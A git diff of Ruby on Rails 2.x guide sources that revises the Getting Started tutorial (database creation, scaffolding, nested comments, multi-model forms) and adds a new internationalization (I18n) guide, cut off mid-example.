pool: 5 timeout: 5000 ------------------------------------------------------- If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems: -If you're not running OS X 10.5 or greater, you'll need to install the SQLite gem. Similar to installing Rails you just need to run: - [source, shell] ------------------------------------------------------- $ gem install sqlite3-ruby @@ -217,6 +226,7 @@ development: adapter: mysql encoding: utf8 database: blog_development + pool: 5 username: root password: socket: /tmp/mysql.sock @@ -233,12 +243,24 @@ development: adapter: postgresql encoding: unicode database: blog_development + pool: 5 username: blog password: ------------------------------------------------------- Change the username and password in the +development+ section as appropriate. +==== Creating the Database + +Now that you have your database configured, it's time to have Rails create an empty database for you. You can do this by running a rake command: + +[source, shell] +------------------------------------------------------- +$ rake db:create +------------------------------------------------------- + +NOTE: Rake is a general-purpose command-runner that Rails uses for many things. You can see the list of available rake commands in your application by running +rake -T+. + == Hello, Rails! One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal: @@ -266,13 +288,13 @@ You actually have a functional Rails application already - after running only tw $ script/server ------------------------------------------------------- -This will fire up the lightweight Webrick web server by default. To see your application in action, open a browser window and navigate to +http://localhost:3000+. You should see Rails' default information page: +This will fire up an instance of the Mongrel web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to +http://localhost:3000+. You should see Rails' default information page: image:images/rails_welcome.png[Welcome Aboard screenshot] TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server. -The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to +http://localhost:3000/home/index+. +The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to +http://localhost:3000/home/index+. === Setting the Application Home Page @@ -321,33 +343,33 @@ $ script/generate scaffold Post name:string title:string content:text NOTE: While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch. -The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates: +The scaffold generator will build 14 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates: -[grid="all"] -`---------------------------------------------`-------------------------------------------------------------------------------------------- -File Purpose ------------------------------------------------------------------------------------------------------------------------------------------- -app/models/post.rb The Post model -db/migrate/20081013124235_create_posts.rb Migration to create the posts table in your database (your name will include a different timestamp) -app/views/posts/index.html.erb A view to display an index of all posts -app/views/posts/show.html.erb A view to display a single post -app/views/posts/new.html.erb A view to create a new post -app/views/posts/edit.html.erb A view to edit an existing post -app/views/layouts/posts.html.erb A view to control the overall look and feel of the other posts views -public/stylesheets/scaffold.css Cascading style sheet to make the scaffolded views look better -app/controllers/posts_controller.rb The Posts controller -test/functional/posts_controller_test.rb Functional testing harness for the posts controller -app/helpers/posts_helper.rb Helper functions to be used from the posts views -config/routes.rb Edited to include routing information for posts -test/fixtures/posts.yml Dummy posts for use in testing -test/unit/post_test.rb Unit testing harness for the posts model -------------------------------------------------------------------------------------------------------------------------------------------- +[options="header"] +|========================================================================================================== +|File |Purpose +|app/models/post.rb |The Post model +|db/migrate/20090113124235_create_posts.rb |Migration to create the posts table in your database (your name will include a different timestamp) +|app/views/posts/index.html.erb |A view to display an index of all posts +|app/views/posts/show.html.erb |A view to display a single post +|app/views/posts/new.html.erb |A view to create a new post +|app/views/posts/edit.html.erb |A view to edit an existing post +|app/views/layouts/posts.html.erb |A view to control the overall look and feel of the other posts views +|public/stylesheets/scaffold.css |Cascading style sheet to make the scaffolded views look better +|app/controllers/posts_controller.rb |The Posts controller +|test/functional/posts_controller_test.rb |Functional testing harness for the posts controller +|app/helpers/posts_helper.rb |Helper functions to be used from the posts views +|config/routes.rb |Edited to include routing information for posts +|test/fixtures/posts.yml |Dummy posts for use in testing +|test/unit/post_test.rb |Unit testing harness for the posts model +|test/unit/helpers/posts_helper_test.rb |Unit testing harness for the posts helper +|========================================================================================================== === Running a Migration One of the products of the +script/generate scaffold+ command is a _database migration_. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created. -If you look in the +db/migrate/20081013124235_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find: +If you look in the +db/migrate/20090113124235_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find: [source, ruby] ------------------------------------------------------- @@ -370,15 +392,16 @@ end If you were to translate that into words, it says something like: when this migration is run, create a table named +posts+ with two string columns (+name+ and +title+) and a text column (+content+), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the link:../migrations.html[Rails Database Migrations] guide. -At this point, you need to do two things: create the database and run the migration. You can use rake commands at the terminal for both of those tasks: +At this point, you can use a rake command to run the migration: [source, shell] ------------------------------------------------------- -$ rake db:create $ rake db:migrate ------------------------------------------------------- -NOTE: Because you're working in the development environment by default, both of these commands will apply to the database defined in the +development+ section of your +config/database.yml+ file. +Remember, you can't run migrations before running +rake db:create+ to create your database, as we covered earlier. + +NOTE: Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your +config/database.yml+ file. === Adding a Link @@ -458,7 +481,7 @@ title: nil, content: "A new post", created_at: nil, updated_at: nil>, This code shows creating a new +Post+ instance, attempting to save it and getting +false+ for a return value (indicating that the save failed), and inspecting the +errors+ of the post. -TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes, type +reload!+ at the console prompt to load them. +TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes to your models while the console is open, type +reload!+ at the console prompt to load them. === Listing All Posts @@ -748,7 +771,7 @@ At this point, it’s worth looking at some of the tools that Rails provides to === Using Partials to Eliminate View Duplication -As you saw earlier, the scaffold-generated views for the +new+ and +edit+ actions are largely identical. You can pull the shared code out into a +partial+ template. This requires editing the new and edit views, and adding a new template: +As you saw earlier, the scaffold-generated views for the +new+ and +edit+ actions are largely identical. You can pull the shared code out into a partial template. This requires editing the new and edit views, and adding a new template. The new +_form.html.erb+ template should be saved in the same +app/views/posts+ folder as the files from which it is being extracted. Note that the name of this file begins with an underscore; that's the Rails naming convention for partial templates. +new.html.erb+: @@ -862,7 +885,7 @@ end Rails runs _before filters_ before any action in the controller. You can use the +:only+ clause to limit a before filter to only certain actions, or an +:except+ clause to specifically skip a before filter for certain actions. Rails also allows you to define _after filters_ that run after processing an action, as well as _around filters_ that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers. -For more information on filters, see the link:actioncontroller_basics.html[Action Controller Basics] guide. +For more information on filters, see the link:../actioncontroller_basics.html[Action Controller Basics] guide. == Adding a Second Model @@ -880,7 +903,7 @@ $ script/generate model Comment commenter:string body:text post:references This command will generate four files: * +app/models/comment.rb+ - The model -* +db/migrate/20081013214407_create_comments.rb - The migration +* +db/migrate/20091013214407_create_comments.rb - The migration * +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness. First, take a look at +comment.rb+: @@ -922,7 +945,7 @@ The +t.references+ line sets up a foreign key column for the association between $ rake db:migrate ------------------------------------------------------- -Rails is smart enough to only execute the migrations that have not already been run against this particular database. +Rails is smart enough to only execute the migrations that have not already been run against the current database. === Associating Models @@ -957,18 +980,16 @@ TIP: For more information on Active Record associations, see the link:../associa === Adding a Route -_Routes_ are entries in the +config/routes.rb+ file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to +posts+. Then edit it as follows: +_Routes_ are entries in the +config/routes.rb+ file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to +posts+ (it will be right at the top of the file). Then edit it as follows: [source, ruby] ------------------------------------------------------- -map.resources :posts do |post| - post.resources :comments -end +map.resources :posts, :has_many => :comments ------------------------------------------------------- This creates +comments+ as a _nested resource_ within +posts+. This is another part of capturing the hierarchical relationship that exists between posts and comments. -TIP: For more information on routing, see the link:../routing_outside_in[Rails Routing from the Outside In] guide. +TIP: For more information on routing, see the link:../routing_outside_in.html[Rails Routing from the Outside In] guide. === Generating a Controller @@ -989,7 +1010,7 @@ This creates seven files: * +app/views/comments/edit.html.erb+ - The view for the edit action * +test/functional/comments_controller_test.rb+ - The functional tests for the controller -The controller will be generated with empty methods for each action that you specified in the call to +script/generate controller+: +The controller will be generated with empty methods and views for each action that you specified in the call to +script/generate controller+: [source, ruby] ------------------------------------------------------- @@ -1021,7 +1042,7 @@ class CommentsController < ApplicationController def show @post = Post.find(params[:post_id]) - @comment = Comment.find(params[:id]) + @comment = @post.comments.find(params[:id]) end def new @@ -1033,7 +1054,7 @@ class CommentsController < ApplicationController @post = Post.find(params[:post_id]) @comment = @post.comments.build(params[:comment]) if @comment.save - redirect_to post_comment_path(@post, @comment) + redirect_to post_comment_url(@post, @comment) else render :action => "new" end @@ -1041,19 +1062,30 @@ class CommentsController < ApplicationController def edit @post = Post.find(params[:post_id]) - @comment = Comment.find(params[:id]) + @comment = @post.comments.find(params[:id]) end def update @post = Post.find(params[:post_id]) @comment = Comment.find(params[:id]) if @comment.update_attributes(params[:comment]) - redirect_to post_comment_path(@post, @comment) + redirect_to post_comment_url(@post, @comment) else render :action => "edit" end end + def destroy + @post = Post.find(params[:post_id]) + @comment = Comment.find(params[:id]) + @comment.destroy + + respond_to do |format| + format.html { redirect_to post_comments_path(@post) } + format.xml { head :ok } + end + end + end ------------------------------------------------------- @@ -1072,7 +1104,7 @@ This creates a new +Comment+ object _and_ sets up the +post_id+ field to have th Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views. -The +index.html.erb+ view: +The +views/comments/index.html.erb+ view: [source, ruby] ------------------------------------------------------- @@ -1101,7 +1133,7 @@ The +index.html.erb+ view: <%= link_to 'Back to Post', @post %> ------------------------------------------------------- -The +new.html.erb+ view: +The +views/comments/new.html.erb+ view: [source, ruby] ------------------------------------------------------- @@ -1126,7 +1158,7 @@ The +new.html.erb+ view: <%= link_to 'Back', post_comments_path(@post) %> ------------------------------------------------------- -The +show.html.erb+ view: +The +views/comments/show.html.erb+ view: [source, ruby] ------------------------------------------------------- @@ -1146,7 +1178,7 @@ The +show.html.erb+ view: <%= link_to 'Back', post_comments_path(@post) %> ------------------------------------------------------- -The +edit.html.erb+ view: +The +views/comments/edit.html.erb+ view: [source, ruby] ------------------------------------------------------- @@ -1172,11 +1204,11 @@ The +edit.html.erb+ view: <%= link_to 'Back', post_comments_path(@post) %> ------------------------------------------------------- -Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time. +Again, the added complexity here (compared to the views you saw for managing posts) comes from the necessity of juggling a post and its comments at the same time. === Hooking Comments to Posts -As a final step, I'll modify the +show.html.erb+ view for a post to show the comments on that post, and to allow managing those comments: +As a next step, I'll modify the +views/posts/show.html.erb+ view to show the comments on that post, and to allow managing those comments: [source, ruby] ------------------------------------------------------- @@ -1208,18 +1240,95 @@ As a final step, I'll modify the +show.html.erb+ view for a post to show the com

<% end %> -<%= link_to 'Edit', edit_post_path(@post) %> | -<%= link_to 'Back', posts_path %> +<%= link_to 'Edit Post', edit_post_path(@post) %> | +<%= link_to 'Back to Posts', posts_path %> | <%= link_to 'Manage Comments', post_comments_path(@post) %> ------------------------------------------------------- Note that each post has its own individual comments collection, accessible as +@post.comments+. That's a consequence of the declarative associations in the models. Path helpers such as +post_comments_path+ come from the nested route declaration in +config/routes.rb+. +== Building a Multi-Model Form + +Comments and posts are edited on two separate forms - which makes sense, given the flow of this mini-application. But what if you want to edit more than one thing on a single form? Rails 2.3 offers new support for nested forms. Let's add support for giving each post multiple tags, right in the form where you create the post. First, create a new model to hold the tags: + +[source, shell] +------------------------------------------------------- +$ script/generate model tag name:string post:references +------------------------------------------------------- + +Run the migration to create the database table: + +[source, shell] +------------------------------------------------------- +$ rake db:migrate +------------------------------------------------------- + +Next, edit the +post.rb+ file to create the other side of the association, and to tell Rails that you intend to edit tags via posts: + +[source, ruby] +------------------------------------------------------- +class Post < ActiveRecord::Base + validates_presence_of :name, :title + validates_length_of :title, :minimum => 5 + has_many :comments + has_many :tags + + accepts_nested_attributes_for :tags, :allow_destroy => :true , + :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } } +end +------------------------------------------------------- + +The +:allow_destroy+ option on the nested attribute declaration tells Rails to display a "remove" checkbox on the view that you'll build shortly. The +:reject_if+ option prevents saving new tags that do not have any attributes filled in. + +You'll also need to modify +views/posts/_form.html.erb+ to include the tags: + +[source, ruby] +------------------------------------------------------- +<% @post.tags.build if @post.tags.empty? %> +<% form_for(@post) do |post_form| %> + <%= post_form.error_messages %> + +

+ <%= post_form.label :name %>
+ <%= post_form.text_field :name %> +

+

+ <%= post_form.label :title, "title" %>
+ <%= post_form.text_field :title %> +

+

+ <%= post_form.label :content %>
+ <%= post_form.text_area :content %> +

+

Tags

+ <% post_form.fields_for :tags do |tag_form| %> +

+ <%= tag_form.label :name, 'Tag:' %> + <%= tag_form.text_field :name %> +

+ <% unless tag_form.object.nil? || tag_form.object.new_record? %> +

+ <%= tag_form.label :_delete, 'Remove:' %> + <%= tag_form.check_box :_delete %> +

+ <% end %> + <% end %> + +

+ <%= post_form.submit "Save" %> +

+<% end %> +------------------------------------------------------- + +With these changes in place, you'll find that you can edit a post and its tags directly on the same view. + +NOTE: You may want to use javascript to dynamically add additional tags on a single form. For an example of this and other advanced techniques, see the link:http://github.com/alloy/complex-form-examples/tree/nested_attributes[nested model sample application]. + == What's Next? Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources: -* The link:http://manuals.rubyonrails.org/[Ruby On Rails guides] +* The link:http://guides.rubyonrails.org/[Ruby On Rails guides] * The link:http://groups.google.com/group/rubyonrails-talk[Ruby on Rails mailing list] * The #rubyonrails channel on irc.freenode.net * The link:http://wiki.rubyonrails.org/rails[Rails wiki] @@ -1233,6 +1342,7 @@ Rails also comes with built-in help that you can generate using the rake command http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2[Lighthouse ticket] +* * November 3, 2008: Formatting patch from Dave Rothlisberger * November 1, 2008: First approved version by link:../authors.html#mgunderloy[Mike Gunderloy] * October 16, 2008: Revised based on feedback from Pratik Naik by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication) diff --git a/vendor/rails/railties/doc/guides/source/i18n.txt b/vendor/rails/railties/doc/guides/source/i18n.txt new file mode 100644 index 00000000..4465a772 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/i18n.txt @@ -0,0 +1,936 @@ +The Rails Internationalization (I18n) API +========================================= + +The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application. + +The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. <<1>> + +So, in the process of _internationalizing_ your Rails application you have to: + +* Ensure you have support for i18n +* Tell Rails where to find locale dictionaries +* Tell Rails how to set, preserve and switch locale + +In the process of _localizing_ your application you'll probably want to do following three things: + +* Replace or supplement Rail's default locale -- eg. date and time formats, month names, ActiveRecord model names, etc +* Abstract texts in your application into keyed dictionaries -- eg. flash messages, static texts in your views, etc +* Store the resulting dictionaries somewhere + +This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start. + +NOTE: The Ruby I18n framework provides you with all neccessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See Rails http://rails-i18n.org/wiki[I18n Wiki] for more information. + +== How I18n in Ruby on Rails works + +Internationalization is a complex problem. Natural languages differ in so many ways (eg. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on: + +* providing support for English and similar languages out of the box +* making it easy to customize and extend everything for other languages + +As part of this solution, *every static string in the Rails framework* -- eg. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults. + +=== The overall architecture of the library + +Thus, the Ruby I18n gem is split into two parts: + +* The public API of the i18n framework -- a Ruby module with public methods and definitions how the library works +* A default backend (which is intentionally named _Simple_ backend) that implements these methods + +As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend. + +NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section <<_using_different_backends,Using different backends>> below. + +=== The public I18n API + +The most important methods of the I18n API are: + +[source, ruby] +------------------------------------------------------- +translate # Lookup text translations +localize # Localize Date and Time objects to local formats +------------------------------------------------------- + +These have the aliases #t and #l so you can use them like this: + +[source, ruby] +------------------------------------------------------- +I18n.t 'store.title' +I18n.l Time.now +------------------------------------------------------- + +There are also attribute readers and writers for the following attributes: + +[source, ruby] +------------------------------------------------------- +load_path # Announce your custom translation files +locale # Get and set the current locale +default_locale # Get and set the default locale +exception_handler # Use a different exception_handler +backend # Use a different backend +------------------------------------------------------- + +So, let's internationalize a simple Rails application from the ground up in the next chapters! + +== Setup the Rails application for internationalization + +There are just a few, simple steps to get up and running with I18n support for your application. + +=== Configure the I18n module + +Following the _convention over configuration_ philosophy, Rails will set-up your application with reasonable defaults. If you need different settings, you can overwrite them easily. + +Rails adds all +.rb+ and +.yml+ files from +config/locales+ directory to your *translations load path*, automatically. + +See the default +en.yml+ locale in this directory, containing a sample pair of translation strings: + +[source, ruby] +------------------------------------------------------- +en: + hello: "Hello world" +------------------------------------------------------- + +This means, that in the +:en+ locale, the key _hello_ will map to _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml[+activerecord/lib/active_record/locale/en.yml+] file or time and date formats in the http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml[+activesupport/lib/active_support/locale/en.yml+] file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. + +The I18n library will use *English* as a *default locale*, ie. if you don't set a different locale, +:en+ will be used for looking up translations. + +NOTE: The i18n library takes *pragmatic approach* to locale keys (after http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en[some discussion]), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". (For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have €. Also, insults would be different in American and British English :) Reason for this pragmatic approach is that most of the time, you usually care about making your application available in different "languages", and working with locales is much simpler this way. However, nothing stops you from separating regional and other settings in the traditional way. In this case, you could eg. inherit from the default +en+ locale and then provide UK specific settings in a +:en-UK+ dictionary. + +The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. + +NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced. + +The default +environment.rb+ files has instruction how to add locales from another directory and how to set different default locale. Just uncomment and edit the specific lines. + +[source, ruby] +------------------------------------------------------- +# The internationalization framework can be changed +# to have another default locale (standard is :en) or more load paths. +# All files from config/locales/*.rb,yml are added automatically. +# config.i18n.load_path << Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')] +# config.i18n.default_locale = :de +------------------------------------------------------- + +=== Optional: custom I18n configuration setup + +For the sake of completeness, let's mention that if you do not want to use the +environment.rb+ file for some reason, you can always wire up things manually, too. + +To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an *initializer*: + +[source, ruby] +------------------------------------------------------- +# in config/initializer/locale.rb + +# tell the I18n library where to find your translations +I18n.load_path << Dir[ File.join(RAILS_ROOT, 'lib', 'locale', '*.{rb,yml}') ] + +# set default locale to something else then :en +I18n.default_locale = :pt +------------------------------------------------------- + +=== Setting and passing the locale + +If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in +environment.rb+ or an initializer as shown above, and it will persist through the requests. + +However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests. + +WARNING: You may be tempted to store choosed locale in a _session_ or a _cookie_. *Do not do so*. The locale should be transparent and a part of the URL. This way you don't break people's basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you're being http://en.wikipedia.org/wiki/Representational_State_Transfer[_RESTful_]. Read more about RESTful approach in http://www.infoq.com/articles/rest-introduction[Stefan Tilkov's articles]. There may be some exceptions to this rule, which are discussed below. + +The _setting part_ is easy. You can set locale in a +before_filter+ in the ApplicationController like this: + +[source, ruby] +------------------------------------------------------- +before_filter :set_locale +def set_locale + # if params[:locale] is nil then I18n.default_locale will be used + I18n.locale = params[:locale] +end +------------------------------------------------------- + +This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is eg. Google's approach). So +http://localhost:3000?locale=pt+ will load the Portugese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing locale in the URL and reloading the page. + +Of course, you probably don't want to manually include locale in every URL all over your application, or want the URLs look differently, eg. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss the different options you have. + +IMPORTANT: Following examples rely on having locales loaded into your application available as an array of strings like +["en", "es", "gr"]+. This is not inclued in current version of Rails 2.2 -- forthcoming Rails version 2.3 will contain easy accesor +available_locales+. (See http://github.com/svenfuchs/i18n/commit/411f8fe7[this commit] and background at http://rails-i18n.org/wiki/pages/i18n-available_locales[Rails I18n Wiki].) + +So, for having available locales easily available in Rails 2.2, we have to include this support manually in an initializer, like this: + +[source, ruby] +------------------------------------------------------- +# config/initializers/available_locales.rb +# +# Get loaded locales conveniently +# See http://rails-i18n.org/wiki/pages/i18n-available_locales +module I18n + class << self + def available_locales; backend.available_locales; end + end + module Backend + class Simple + def available_locales; translations.keys.collect { |l| l.to_s }.sort; end + end + end +end + +# You need to "force-initialize" loaded locales +I18n.backend.send(:init_translations) + +AVAILABLE_LOCALES = I18n.backend.available_locales +RAILS_DEFAULT_LOGGER.debug "* Loaded locales: #{AVAILABLE_LOCALES.inspect}" +------------------------------------------------------- + +You can then wrap the constant for easy access in ApplicationController: + +[source, ruby] +------------------------------------------------------- +class ApplicationController < ActionController::Base + def available_locales; AVAILABLE_LOCALES; end +end +------------------------------------------------------- + +=== Setting locale from the domain name + +One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load English (or default) locale, and +www.example.es+ to load Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages: + +* Locale is an _obvious_ part of the URL +* People intuitively grasp in which language the content will be displayed +* It is very trivial to implement in Rails +* Search engines seem to like that content in different languages lives at different, inter-linked domains + +You can implement it like this in your ApplicationController: + +[source, ruby] +------------------------------------------------------- +before_filter :set_locale +def set_locale + I18n.locale = extract_locale_from_uri +end +# Get locale from top-level domain or return nil if such locale is not available +# You have to put something like: +# 127.0.0.1 application.com +# 127.0.0.1 application.it +# 127.0.0.1 application.pl +# in your /etc/hosts file to try this out locally +def extract_locale_from_tld + parsed_locale = request.host.split('.').last + (available_locales.include? parsed_locale) ? parsed_locale : nil +end +------------------------------------------------------- + +We can also set the locale from the _subdomain_ in very similar way: + +[source, ruby] +------------------------------------------------------- +# Get locale code from request subdomain (like http://it.application.local:3000) +# You have to put something like: +# 127.0.0.1 gr.application.local +# in your /etc/hosts file to try this out locally +def extract_locale_from_subdomain + parsed_locale = request.subdomains.first + (available_locales.include? parsed_locale) ? parsed_locale : nil +end +------------------------------------------------------- + +If your application includes a locale switching menu, you would then have something like this in it: + +[source, ruby] +------------------------------------------------------- +link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}") +------------------------------------------------------- + +assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +http://www.application.de+. + +This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path). + +=== Setting locale from the URL params + +Most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case. + +This approach has almost the same set of advantages as setting the locale from domain name: namely that it's RESTful and in accord with rest of the World Wide Web. It does require a little bit more work to implement, though. + +Getting the locale from +params+ and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (eg. +link_to( books_url(:locale => I18n.locale) )+) would be tedious and probably impossible, of course. + +Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its http://api.rubyonrails.org/classes/ActionController/Base.html#M000515[+*ApplicationController#default_url_options*+], which is useful precisely in this scenario: it enables us to set "defaults" for http://api.rubyonrails.org/classes/ActionController/Base.html#M000503[+url_for+] and helper methods dependent on it (by implementing/overriding this method). + +We can include something like this in our ApplicationController then: + +[source, ruby] +------------------------------------------------------- +# app/controllers/application_controller.rb +def default_url_options(options={}) + logger.debug "default_url_options is passed options: #{options.inspect}\n" + { :locale => I18n.locale } +end +------------------------------------------------------- + +Every helper method dependent on +url_for+ (eg. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+. + +You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of application domain: and URLs should reflect this. + +You probably want URLs look like this: +www.example.com/en/books+ (which loads English locale) and +www.example.com/nl/books+ (which loads Netherlands locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with http://api.rubyonrails.org/classes/ActionController/Resources.html#M000354[+path_prefix+] option in this way: + +[source, ruby] +------------------------------------------------------- +# config/routes.rb +map.resources :books, :path_prefix => '/:locale' +------------------------------------------------------- + +Now, when you call +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Netherlands locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed). + +Of course, you need to take special care of root URL (usually "homepage" or "dashboard") of your application. An URL like +http://localhost:3001/nl+ will not work automatically, because the +map.root :controller => "dashboard"+ declaration in your +routes.rb+ doesn't take locale into account. (And rightly so. There's only one "root" URL.) + +You would probably need to map URLs like these: + +[source, ruby] +------------------------------------------------------- +# config/routes.rb +map.dashboard '/:locale', :controller => "dashboard" +------------------------------------------------------- + +Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +map.root+ declaration.) + +IMPORTANT: This solution has currently one rather big *downside*. Due to the _default_url_options_ implementation, you have to pass the +:id+ option explicitely, like this: +link_to 'Show', book_url(:id => book)+ and not depend on Rails' magic in code like +link_to 'Show', book+. If this should be a problem, have a look on two plugins which simplify working with routes in this way: Sven Fuchs's http://github.com/svenfuchs/routing-filter/tree/master[_routing_filter_] and Raul Murciano's http://github.com/raul/translate_routes/tree/master[_translate_routes_]. See also the page http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url[How to encode the current locale in the URL] in the Rails i18n Wiki. + +=== Setting locale from the client supplied information + +In specific cases, it would make sense to set locale from client supplied information, ie. not from URL. This information may come for example from users' preffered language (set in their browser), can be based on users' geographical location inferred from their IP, or users can provide it simply by choosing locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above. + + +==== Using Accept-Language + +One source of client supplied information would be an +Accept-Language+ HTTP header. People may http://www.w3.org/International/questions/qa-lang-priorities[set this in their browser] or other clients (such as _curl_). + +A trivial implementation of using +Accept-Language+ header would be: + +[source, ruby] +------------------------------------------------------- +def set_locale + logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}" + I18n.locale = extract_locale_from_accept_language_header + logger.debug "* Locale set to '#{I18n.locale}'" +end +private +def extract_locale_from_accept_language_header + request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first +end +------------------------------------------------------- + +Of course, in production environment you would need much robust code, and could use a plugin such as Iaian Hecker's http://github.com/iain/http_accept_language[http_accept_language]. + +==== Using GeoIP (or similar) database + +Another way of choosing the locale from client's information would be to use a database for mapping client IP to region, such as http://www.maxmind.com/app/geolitecountry[GeoIP Lite Country]. The mechanics of the code would be very similar to the code above -- you would need to query database for user's IP, and lookup your preffered locale for the country/region/city returned. + +==== User profile + +You can also provide users of your application with means to set (and possibly over-ride) locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in database. Then you'd set the locale to this value. + +== Internationalizing your application + +OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale should be used and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff. + +Let's _internationalize_ our application, ie. abstract every locale-specific parts, and that _localize_ it, ie. provide neccessary translations for these abstracts. + +You most probably have something like this in one of your applications: + +[source, ruby] +------------------------------------------------------- +# config/routes.rb +ActionController::Routing::Routes.draw do |map| + map.root :controller => 'home', :action => 'index' +end + +# app/controllers/home_controller.rb +class HomeController < ApplicationController + def index + flash[:notice] = 